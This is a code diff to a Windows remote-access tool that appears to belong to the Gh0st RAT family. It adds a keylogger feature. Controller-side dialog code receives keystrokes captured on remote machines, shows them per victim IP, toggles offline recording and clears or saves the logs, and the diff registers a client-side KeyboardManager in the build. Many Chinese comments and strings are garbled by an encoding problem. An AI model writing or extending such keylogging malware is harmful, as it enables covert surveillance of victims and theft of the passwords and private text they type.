+	LPVOID lpParameter,                       // thread argument
+	DWORD dwCreationFlags,                    // creation option
+	LPDWORD lpThreadId, bool bInteractive = false);
+
 class CManager  
 {
 public:
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -179,6 +179,7 @@
    <ClCompile Include="FileManager.cpp" />
    <ClCompile Include="IOCPClient.cpp" />
    <ClCompile Include="KernelManager.cpp" />
+    <ClCompile Include="KeyboardManager.cpp" />
    <ClCompile Include="LoginServer.cpp" />
    <ClCompile Include="Manager.cpp" />
    <ClCompile Include="RegisterManager.cpp" />
@@ -203,6 +204,7 @@
    <ClInclude Include="FileManager.h" />
    <ClInclude Include="IOCPClient.h" />
    <ClInclude Include="KernelManager.h" />
+    <ClInclude Include="KeyboardManager.h" />
    <ClInclude Include="LoginServer.h" />
    <ClInclude Include="Manager.h" />
    <ClInclude Include="RegisterManager.h" />
--- a/server/2015Remote/2015Remote.rc
+++ b/server/2015Remote/2015Remote.rc
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -19,6 +19,7 @@
 #include "ServicesDlg.h"
 #include "VideoDlg.h"
 #include <vector>
+#include "KeyBoardDlg.h"

 #ifdef _DEBUG
 #define new DEBUG_NEW
@@ -165,6 +166,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
 	ON_COMMAND(IDM_ONLINE_VIDEO, &CMy2015RemoteDlg::OnOnlineVideoManager)
 	ON_COMMAND(IDM_ONLINE_SERVER, &CMy2015RemoteDlg::OnOnlineServerManager)
 	ON_COMMAND(IDM_ONLINE_REGISTER, &CMy2015RemoteDlg::OnOnlineRegisterManager)  
+	ON_COMMAND(IDM_KEYBOARD, &CMy2015RemoteDlg::OnOnlineKeyboardManager)
 	ON_COMMAND(IDM_ONLINE_BUILD, &CMy2015RemoteDlg::OnOnlineBuildClient)    //<2F><><EFBFBD><EFBFBD>Client
 	ON_MESSAGE(UM_ICONNOTIFY, (LRESULT (__thiscall CWnd::* )(WPARAM,LPARAM))OnIconNotify) 
 	ON_COMMAND(IDM_NOTIFY_SHOW, &CMy2015RemoteDlg::OnNotifyShow)
@@ -183,6 +185,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
 	ON_MESSAGE(WM_OPENREGISTERDIALOG, OnOpenRegisterDialog)
 	ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenVideoDialog)
 	ON_MESSAGE(WM_HANDLEMESSAGE, OnHandleMessage)
+	ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyboardDialog)
 	ON_WM_HELPINFO()
 END_MESSAGE_MAP()

@@ -286,9 +289,10 @@ VOID CMy2015RemoteDlg::CreateToolBar()
 	m_ToolBar.SetButtonText(6,"<EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); 
 	m_ToolBar.SetButtonText(7,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); 
 	m_ToolBar.SetButtonText(8,"ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); 
-	m_ToolBar.SetButtonText(9,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); 
-	m_ToolBar.SetButtonText(10,"<EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); 
-	m_ToolBar.SetButtonText(11,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); 
+	m_ToolBar.SetButtonText(9, "<EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼");
+	m_ToolBar.SetButtonText(10,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); 
+	m_ToolBar.SetButtonText(11,"<EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); 
+	m_ToolBar.SetButtonText(12,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>"); 
 	RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0);  //<2F><>ʾ
 }

@@ -806,6 +810,12 @@ VOID CMy2015RemoteDlg::OnOnlineRegisterManager()
 	SendSelectedCommand(&bToken, sizeof(BYTE));
 }

+VOID CMy2015RemoteDlg::OnOnlineKeyboardManager()
+{
+	BYTE	bToken = COMMAND_KEYBOARD;
+	SendSelectedCommand(&bToken, sizeof(BYTE));
+}
+
 void CMy2015RemoteDlg::OnOnlineBuildClient()
 {
 	// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -967,6 +977,12 @@ VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
 		Dlg->OnReceiveComplete();
 		break;
 	}
+	case KEYBOARD_DLG:
+	{
+		CKeyBoardDlg* Dlg = (CKeyBoardDlg*)ContextObject->hDlg;
+		Dlg->OnReceiveComplete();
+		break;
+	}
 	default:
 		g_2015RemoteDlg->PostMessage(WM_HANDLEMESSAGE, (WPARAM)ContextObject, (LPARAM)ContextObject);
 	}
@@ -1010,6 +1026,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
 			Sleep(10);
 			break;
 		}
+	case TOKEN_KEYBOARD_START: {// <20><><EFBFBD>̼<EFBFBD>¼
+			g_2015RemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject);
+			break;
+		}
 	case TOKEN_LOGIN: // <20><><EFBFBD>߰<EFBFBD>  shine
 		{
 			g_2015RemoteDlg->PostMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject); 
@@ -1202,6 +1222,12 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
 				delete Dlg; //<2F><><EFBFBD>⴦<EFBFBD><E2B4A6>
 				break;
 			}
+		case KEYBOARD_DLG:
+			{
+				CKeyBoardDlg* Dlg = (CKeyBoardDlg*)p->hDlg;
+				delete Dlg;
+				break;
+			}
 		default:break;
 		}
 		delete p;
@@ -1372,6 +1398,20 @@ LRESULT CMy2015RemoteDlg::OnOpenVideoDialog(WPARAM wParam, LPARAM lParam)
 	return 0;
 }

+LRESULT CMy2015RemoteDlg::OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam)
+{
+	CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
+
+	CKeyBoardDlg* Dlg = new CKeyBoardDlg(this, m_iocpServer, ContextObject);
+	// <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ׿<CEAA><D7BF>
+	Dlg->Create(IDD_DLG_KEYBOARD, GetDesktopWindow());    //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Dlg
+	Dlg->ShowWindow(SW_SHOW);
+
+	ContextObject->v1 = KEYBOARD_DLG;
+	ContextObject->hDlg = Dlg;
+
+	return 0;
+}

 BOOL CMy2015RemoteDlg::OnHelpInfo(HELPINFO* pHelpInfo)
 {
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -91,6 +91,7 @@ public:
 	afx_msg void OnOnlineFileManager();
 	afx_msg void OnOnlineServerManager();
 	afx_msg void OnOnlineRegisterManager();
+	afx_msg VOID OnOnlineKeyboardManager();
 	afx_msg void OnOnlineBuildClient();
 	afx_msg LRESULT OnUserToOnlineList(WPARAM wParam, LPARAM lParam);
 	afx_msg LRESULT OnUserOfflineMsg(WPARAM wParam, LPARAM lParam);
@@ -104,6 +105,7 @@ public:
 	afx_msg LRESULT OnOpenServicesDialog(WPARAM wParam, LPARAM lParam);
 	afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam);
 	afx_msg LRESULT OnHandleMessage(WPARAM wParam, LPARAM lParam);
+	afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam);
 	afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo);
 	virtual BOOL PreTranslateMessage(MSG* pMsg);
 };
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -245,6 +245,7 @@
    <ClInclude Include="iniFile.h" />
    <ClInclude Include="InputDlg.h" />
    <ClInclude Include="IOCPServer.h" />
+    <ClInclude Include="KeyBoardDlg.h" />
    <ClInclude Include="RegisterDlg.h" />
    <ClInclude Include="Resource.h" />
    <ClInclude Include="ScreenSpyDlg.h" />
@@ -274,6 +275,7 @@
    <ClCompile Include="iniFile.cpp" />
    <ClCompile Include="InputDlg.cpp" />
    <ClCompile Include="IOCPServer.cpp" />
+    <ClCompile Include="KeyBoardDlg.cpp" />
    <ClCompile Include="RegisterDlg.cpp" />
    <ClCompile Include="ScreenSpyDlg.cpp" />
    <ClCompile Include="ServicesDlg.cpp" />
--- a/server/2015Remote/Buffer.h
+++ b/server/2015Remote/Buffer.h
@@ -68,6 +68,7 @@ public:
 	ULONG GetBufferLength(); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
 	VOID ClearBuffer();
 	BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
+	BOOL Write(PBYTE Buffer, ULONG ulLength) { return WriteBuffer(Buffer, ulLength); }
 	LPBYTE GetBuffer(ULONG ulPos);
 	Buffer GetMyBuffer(ULONG ulPos);
 	BYTE GetBYTE(ULONG ulPos);
--- a/server/2015Remote/IOCPServer.cpp
+++ b/server/2015Remote/IOCPServer.cpp
@@ -3,6 +3,7 @@
 #include "2015Remote.h"

 #include <iostream>
+#include <ws2tcpip.h>

 #if USING_ZLIB
 #include "zlib.h"
@@ -43,6 +44,23 @@ CRITICAL_SECTION IOCPServer::m_cs = {0};

 #define SAFE_DELETE(p) if(p){ delete (p); (p) = NULL; }

+// <20><><EFBFBD><EFBFBD> socket <20><>ȡ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>IP<49><50>ַ.
+std::string GetRemoteIP(SOCKET sock) {
+	sockaddr_in addr;
+	int addrLen = sizeof(addr);
+
+	if (getpeername(sock, (sockaddr*)&addr, &addrLen) == 0) {
+		char ipStr[INET_ADDRSTRLEN];
+		inet_ntop(AF_INET, &addr.sin_addr, ipStr, sizeof(ipStr));
+		TRACE(">>> <20>Զ<EFBFBD> IP <20><>ַ: %s\n", ipStr);
+		return ipStr;
+	}
+	TRACE(">>> <20><>ȡ<EFBFBD>Զ<EFBFBD> IP ʧ<><CAA7>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %d\n", WSAGetLastError());
+	char buf[10];
+	sprintf_s(buf, "%d", sock);
+	return buf;
+}
+
 IOCPServer::IOCPServer(void)
 {
 	WSADATA wsaData;
--- a/server/2015Remote/IOCPServer.h
+++ b/server/2015Remote/IOCPServer.h
@@ -18,6 +18,8 @@
 #define	NC_RECEIVE				0x0004
 #define NC_RECEIVE_COMPLETE		0x0005 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

+std::string GetRemoteIP(SOCKET sock);
+
 enum IOType 
 {
 	IOInitialize,
@@ -121,6 +123,9 @@ public:
 	BOOL OnClientInitializing(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans);
 	BOOL OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans);  
 	VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , size_t ulOriginalLength);
+	VOID Send(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
+		OnClientPreSending(ContextObject, szBuffer, ulOriginalLength);
+	}
 	BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength);
 	void UpdateMaxConnection(int maxConn);
 	IOCPServer(void);
@@ -186,3 +191,10 @@ public:
 #endif
 	}
 };
+
+typedef IOCPServer CIOCPServer;
+
+typedef CONTEXT_OBJECT ClientContext;
+
+#define m_Socket sClientSocket
+#define m_DeCompressionBuffer InDeCompressedBuffer
--- a/server/2015Remote/KeyBoardDlg.cpp
+++ b/server/2015Remote/KeyBoardDlg.cpp
@@ -0,0 +1,215 @@
+// KeyBoardDlg.cpp : implementation file
+//
+
+#include "stdafx.h"
+#include <WinUser.h>
+#include "KeyBoardDlg.h"
+
+#ifdef _DEBUG
+#define new DEBUG_NEW
+#undef THIS_FILE
+static char THIS_FILE[] = __FILE__;
+#endif
+
+#define IDM_ENABLE_OFFLINE	0x0010
+#define IDM_CLEAR_RECORD	0x0011
+#define IDM_SAVE_RECORD		0x0012
+
+/////////////////////////////////////////////////////////////////////////////
+// CKeyBoardDlg dialog
+
+
+CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
+    : CDialog(CKeyBoardDlg::IDD, pParent)
+{
+    //{{AFX_DATA_INIT(CKeyBoardDlg)
+    // NOTE: the ClassWizard will add member initialization here
+    //}}AFX_DATA_INIT
+    m_iocpServer	= pIOCPServer;
+    m_pContext		= pContext;
+    m_hIcon			= LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_KEYBOARD));
+
+    sockaddr_in  sockAddr;
+    memset(&sockAddr, 0, sizeof(sockAddr));
+    int nSockAddrLen = sizeof(sockAddr);
+    BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
+    m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
+
+    m_bIsOfflineRecord = (BYTE)m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1];
+}
+
+
+void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
+{
+    CDialog::DoDataExchange(pDX);
+    //{{AFX_DATA_MAP(CKeyBoardDlg)
+    DDX_Control(pDX, IDC_EDIT, m_edit);
+    //}}AFX_DATA_MAP
+}
+
+
+BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
+    //{{AFX_MSG_MAP(CKeyBoardDlg)
+    ON_WM_SIZE()
+    ON_WM_CLOSE()
+    ON_WM_SYSCOMMAND()
+    //}}AFX_MSG_MAP
+END_MESSAGE_MAP()
+
+/////////////////////////////////////////////////////////////////////////////
+// CKeyBoardDlg message handlers
+
+void CKeyBoardDlg::PostNcDestroy()
+{
+    // TODO: Add your specialized code here and/or call the base class
+    delete this;
+    CDialog::PostNcDestroy();
+}
+
+BOOL CKeyBoardDlg::OnInitDialog()
+{
+    CDialog::OnInitDialog();
+
+    // TODO: Add extra initialization here
+    SetIcon(m_hIcon, TRUE);			// Set big icon
+    SetIcon(m_hIcon, FALSE);		// Set small icon
+
+    CMenu* pSysMenu = GetSystemMenu(FALSE);
+    if (pSysMenu != NULL) {
+        //pSysMenu->DeleteMenu(SC_TASKLIST, MF_BYCOMMAND);
+        pSysMenu->AppendMenu(MF_SEPARATOR);
+        pSysMenu->AppendMenu(MF_STRING, IDM_ENABLE_OFFLINE, "<EFBFBD><EFBFBD><EFBFBD>߼<EFBFBD>¼(&O)");
+        pSysMenu->AppendMenu(MF_STRING, IDM_CLEAR_RECORD, "<EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>¼(&C)");
+        pSysMenu->AppendMenu(MF_STRING, IDM_SAVE_RECORD, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼(&S)");
+        if (m_bIsOfflineRecord)
+            pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
+    }
+
+    UpdateTitle();
+
+    m_edit.SetLimitText(MAXDWORD); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>󳤶<EFBFBD>
+
+    // ֪ͨԶ<D6AA>̿<EFBFBD><CCBF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>
+    BYTE bToken = COMMAND_NEXT;
+    m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
+
+    return TRUE;  // return TRUE unless you set the focus to a control
+    // EXCEPTION: OCX Property Pages should return FALSE
+}
+
+
+void CKeyBoardDlg::UpdateTitle()
+{
+    CString str;
+    str.Format(_T("%s - <20><><EFBFBD>̼<EFBFBD>¼"), m_IPAddress);
+    if (m_bIsOfflineRecord)
+        str += " (<28><><EFBFBD>߼<EFBFBD>¼<EFBFBD>ѿ<EFBFBD><D1BF><EFBFBD>)";
+    else
+        str += " (<28><><EFBFBD>߼<EFBFBD>¼δ<C2BC><CEB4><EFBFBD><EFBFBD>)";
+    SetWindowText(str);
+}
+
+void CKeyBoardDlg::OnReceiveComplete()
+{
+    switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) {
+    case TOKEN_KEYBOARD_DATA:
+        AddKeyBoardData();
+        break;
+    default:
+        return;
+    }
+}
+
+void CKeyBoardDlg::AddKeyBoardData()
+{
+    // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0
+    m_pContext->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
+    int	len = m_edit.GetWindowTextLength();
+    m_edit.SetSel(len, len);
+    m_edit.ReplaceSel((TCHAR *)m_pContext->m_DeCompressionBuffer.GetBuffer(1));
+}
+
+bool CKeyBoardDlg::SaveRecord()
+{
+    CString	strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.txt");
+    CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, "<EFBFBD>ı<EFBFBD><EFBFBD>ĵ<EFBFBD>(*.txt)|*.txt|", this);
+    if(dlg.DoModal () != IDOK)
+        return false;
+
+    CFile	file;
+    if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate)) {
+        MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>");
+        return false;
+    }
+    // Write the DIB header and the bits
+    CString	strRecord;
+    m_edit.GetWindowText(strRecord);
+    file.Write(strRecord, strRecord.GetLength());
+    file.Close();
+
+    return true;
+}
+
+void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
+{
+    if (nID == IDM_ENABLE_OFFLINE) {
+        CMenu* pSysMenu = GetSystemMenu(FALSE);
+        if (pSysMenu != NULL) {
+            BYTE bToken = COMMAND_KEYBOARD_OFFLINE;
+            m_iocpServer->Send(m_pContext, &bToken, 1);
+            m_bIsOfflineRecord = !m_bIsOfflineRecord;
+            if (m_bIsOfflineRecord)
+                pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
+            else
+                pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_UNCHECKED);
+        }
+        UpdateTitle();
+
+    } else if (nID == IDM_CLEAR_RECORD) {
+        BYTE bToken = COMMAND_KEYBOARD_CLEAR;
+        m_iocpServer->Send(m_pContext, &bToken, 1);
+        m_edit.SetWindowText("");
+    } else if (nID == IDM_SAVE_RECORD) {
+        SaveRecord();
+    } else {
+        CDialog::OnSysCommand(nID, lParam);
+    }
+}
+
+void CKeyBoardDlg::ResizeEdit()
+{
+    RECT	rectClient;
+    RECT	rectEdit;
+    GetClientRect(&rectClient);
+    rectEdit.left = 0;
+    rectEdit.top = 0;
+    rectEdit.right = rectClient.right;
+    rectEdit.bottom = rectClient.bottom;
+    m_edit.MoveWindow(&rectEdit);
+}
+void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
+{
+    CDialog::OnSize(nType, cx, cy);
+
+    // TODO: Add your message handler code here
+    if (IsWindowVisible())
+        ResizeEdit();
+}
+
+
+BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg)
+{
+    // TODO: Add your specialized code here and/or call the base class
+    if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)) {
+        return true;
+    }
+    return CDialog::PreTranslateMessage(pMsg);
+}
+
+void CKeyBoardDlg::OnClose()
+{
+    // TODO: Add your message handler code here and/or call default
+    closesocket(m_pContext->m_Socket);
+
+    CDialog::OnClose();
+}
--- a/server/2015Remote/KeyBoardDlg.h
+++ b/server/2015Remote/KeyBoardDlg.h
@@ -0,0 +1,66 @@
+#if !defined(AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_)
+#define AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_
+
+#include "Resource.h"
+#include "IOCPServer.h"
+
+#if _MSC_VER > 1000
+#pragma once
+#endif // _MSC_VER > 1000
+// KeyBoardDlg.h : header file
+//
+
+/////////////////////////////////////////////////////////////////////////////
+// CKeyBoardDlg dialog
+
+class CKeyBoardDlg : public CDialog
+{
+// Construction
+public:
+    void OnReceiveComplete();
+    CKeyBoardDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL);   // standard constructor
+
+// Dialog Data
+    //{{AFX_DATA(CKeyBoardDlg)
+    enum { IDD = IDD_DLG_KEYBOARD };
+    CEdit	m_edit;
+    //}}AFX_DATA
+
+// Overrides
+    // ClassWizard generated virtual function overrides
+    //{{AFX_VIRTUAL(CKeyBoardDlg)
+public:
+    virtual BOOL PreTranslateMessage(MSG* pMsg);
+protected:
+    virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
+    virtual void PostNcDestroy();
+    //}}AFX_VIRTUAL
+
+// Implementation
+protected:
+    ClientContext* m_pContext;
+    CIOCPServer* m_iocpServer;
+    HICON m_hIcon;
+    bool m_bIsOfflineRecord;
+
+    CString m_IPAddress;
+    void AddKeyBoardData();
+    void UpdateTitle();
+    void ResizeEdit();
+    bool SaveRecord();
+
+    // Generated message map functions
+    //{{AFX_MSG(CKeyBoardDlg)
+    virtual BOOL OnInitDialog();
+    afx_msg void OnSize(UINT nType, int cx, int cy);
+    afx_msg void OnClose();
+    afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
+
+    //}}AFX_MSG
+    DECLARE_MESSAGE_MAP()
+};
+
+//{{AFX_INSERT_LOCATION}}
+// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
+
+#endif // !defined(AFX_KEYBOARDDLG_H__DA43EE1D_DB0E_4531_86C6_8EF7B5B9DA88__INCLUDED_)
--- a/server/2015Remote/res/Bitmap/ToolBar_Main.bmp
+++ b/server/2015Remote/res/Bitmap/ToolBar_Main.bmp
--- a/server/2015Remote/res/Bitmap/toolbar1.bmp
+++ b/server/2015Remote/res/Bitmap/toolbar1.bmp
--- a/server/2015Remote/resource.h
+++ b/server/2015Remote/resource.h
--- a/server/2015Remote/stdafx.h
+++ b/server/2015Remote/stdafx.h
@@ -91,6 +91,7 @@

 #define WM_USEROFFLINEMSG				WM_USER+3010
 #define WM_HANDLEMESSAGE				WM_USER+3011
+#define WM_OPENKEYBOARDDIALOG			WM_USER+3012

 enum
 {